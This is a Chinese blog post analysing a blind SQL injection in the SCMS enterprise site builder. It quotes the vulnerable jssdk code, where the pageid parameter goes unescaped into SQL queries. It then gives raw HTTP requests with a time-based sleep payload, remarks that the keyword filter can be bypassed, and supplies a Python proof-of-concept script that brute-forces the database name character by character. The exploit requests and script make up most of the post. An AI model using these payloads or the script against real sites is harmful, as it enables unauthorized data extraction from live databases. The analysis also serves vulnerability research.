Scms Blind Injection

Share on:

scms企业建站系统存在盲注

闲着无聊,看到cnvd上昨天爆出来一个scms的注入,今天分析一下。

E:\code\php\scms\js\scms.php:173

 1case "jssdk":
 2    $APPID = $C_wx_appid;
 3    $APPSECRET = $C_wx_appsecret;
 4    $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $APPID . "&secret=" . $APPSECRET, "");
 5    $access_token = json_decode($info)->access_token;
 6    $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&type=jsapi", "");
 7    $ticket = json_decode($info)->ticket;
 8    $url = $_POST["url"];
 9    $noncestr = gen_key(20);
10    $timestamp = time();
11    $pageid = $_POST["pageid"];
12    if ($pageid == "") {
13        $pageid = 1;
14    }
15    switch ($_POST["pagetype"]) {
16        case "index":
17            $img = $C_ico;
18            break;
19        case "text":
20            $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
21            break;
22        case "product":
23            $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
24            break;
25        case "productinfo":
26            $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
27            break;
28        case "news":
29            $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
30            break;
31        case "newsinfo":
32            $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
33            break;
34        case "form":
35            $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
36            break;
37        case "contact":
38            $img = $C_ico;
39            break;
40        case "guestbook":
41            $img = $C_ico;
42            break;
43    }
44
45    $sign = sha1("jsapi_ticket=" . $ticket . "&noncestr=" . $noncestr . "&timestamp=" . $timestamp . "&url=" . $url);
46
47    echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";
48
49
50    break;

可以看到$pageid = $_POST["pageid"];直接从POST中赋值,并且直接拼接到sql语句中。

过滤了一些东西,在这我给出一个payload

首先先判断pageid是否存在

 1POST /js/scms.php?action=jssdk HTTP/1.1
 2Host: php.local
 3Content-Length: 30
 4Pragma: no-cache
 5Cache-Control: no-cache
 6Upgrade-Insecure-Requests: 1
 7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
 8Origin: http://php.local
 9Content-Type: application/x-www-form-urlencoded
10DNT: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
12Referer: http://php.local/js/scms.php?action=jssdk
13Accept-Encoding: gzip, deflate
14Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
15Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
16Connection: close
17
18pagetype=productinfo&pageid=78

如果存在返回包应该是包含了img字段并且有具体的图片地址,例如

1{"nonceStr":"merxK0Nu9iDC89zy4hGa","timestamp":"1563254507","signature":"5a8ed288f82d8292c5372636a57c43461dac8104","appid":"wxXXXXXXXXXX","img":"http://php.local/media/20151019120842158.jpg","ticket":""}

如果你的pageid是不存在的话,你的sleep时间将会是5的倍数

可以参考admintony师傅的文章MySQL的逻辑运算符(and_or_xor)的工作机制研究

给出payload

 1POST /js/scms.php?action=jssdk HTTP/1.1
 2Host: php.local
 3Content-Length: 89
 4Pragma: no-cache
 5Cache-Control: no-cache
 6Upgrade-Insecure-Requests: 1
 7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
 8Origin: http://php.local
 9Content-Type: application/x-www-form-urlencoded
10DNT: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
12Referer: http://php.local/js/scms.php?action=jssdk
13Accept-Encoding: gzip, deflate
14Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
15Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
16Connection: close
17
18pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)

值得一提的是scms过滤了一系列关键字比如select update ' /* \,那么具体的payload就靠大家发挥了

在这提供一个poc

 1POC代码如下
 2import requests
 3import urllib.parse
 4
 5chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'
 6
 7url='http://local/js/scms.php'
 8
 9def getDatabaseLength():
10    print('开始爆破数据库长度。。。')
11    for i in range(10):
12        payload="1%0Aand%0Aif(length(database())>{},1,0)#".format(i)
13        payload=urllib.parse.unquote(payload)
14        data = {
15            'action':'jssdk',
16            'pagetype':'text',
17            'pageid':payload
18        }
19        # print(data)
20        # data = urllib.parse.unquote(data)
21        # print(data)
22        rs = requests.post(url=url,data=data)
23        rs.encode='utf-8'
24        # print(rs.text)
25        if "20151019102732946.jpg" not in rs.text:
26            print("数据库名的长度为:{}".format(i))
27            return i
28
29def getDatabaseName():
30    print('开始获取数据库名')
31    databasename = ''
32
33    length = getDatabaseLength()
34    # length = 4
35    for i in range(1,length+1):
36        for c in chars:
37            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
38            # print(payload)
39            payload = urllib.parse.unquote(payload)
40            data = {
41                'action': 'jssdk',
42                'pagetype': 'text',
43                'pageid': payload
44            }
45            rs = requests.post(url=url, data=data)
46            rs.encode = 'utf-8'
47            # print(rs.text)
48            if "20151019102732946.jpg" in rs.text:
49                databasename = databasename+c
50                print(databasename)
51
52    return databasename
53getDatabaseName()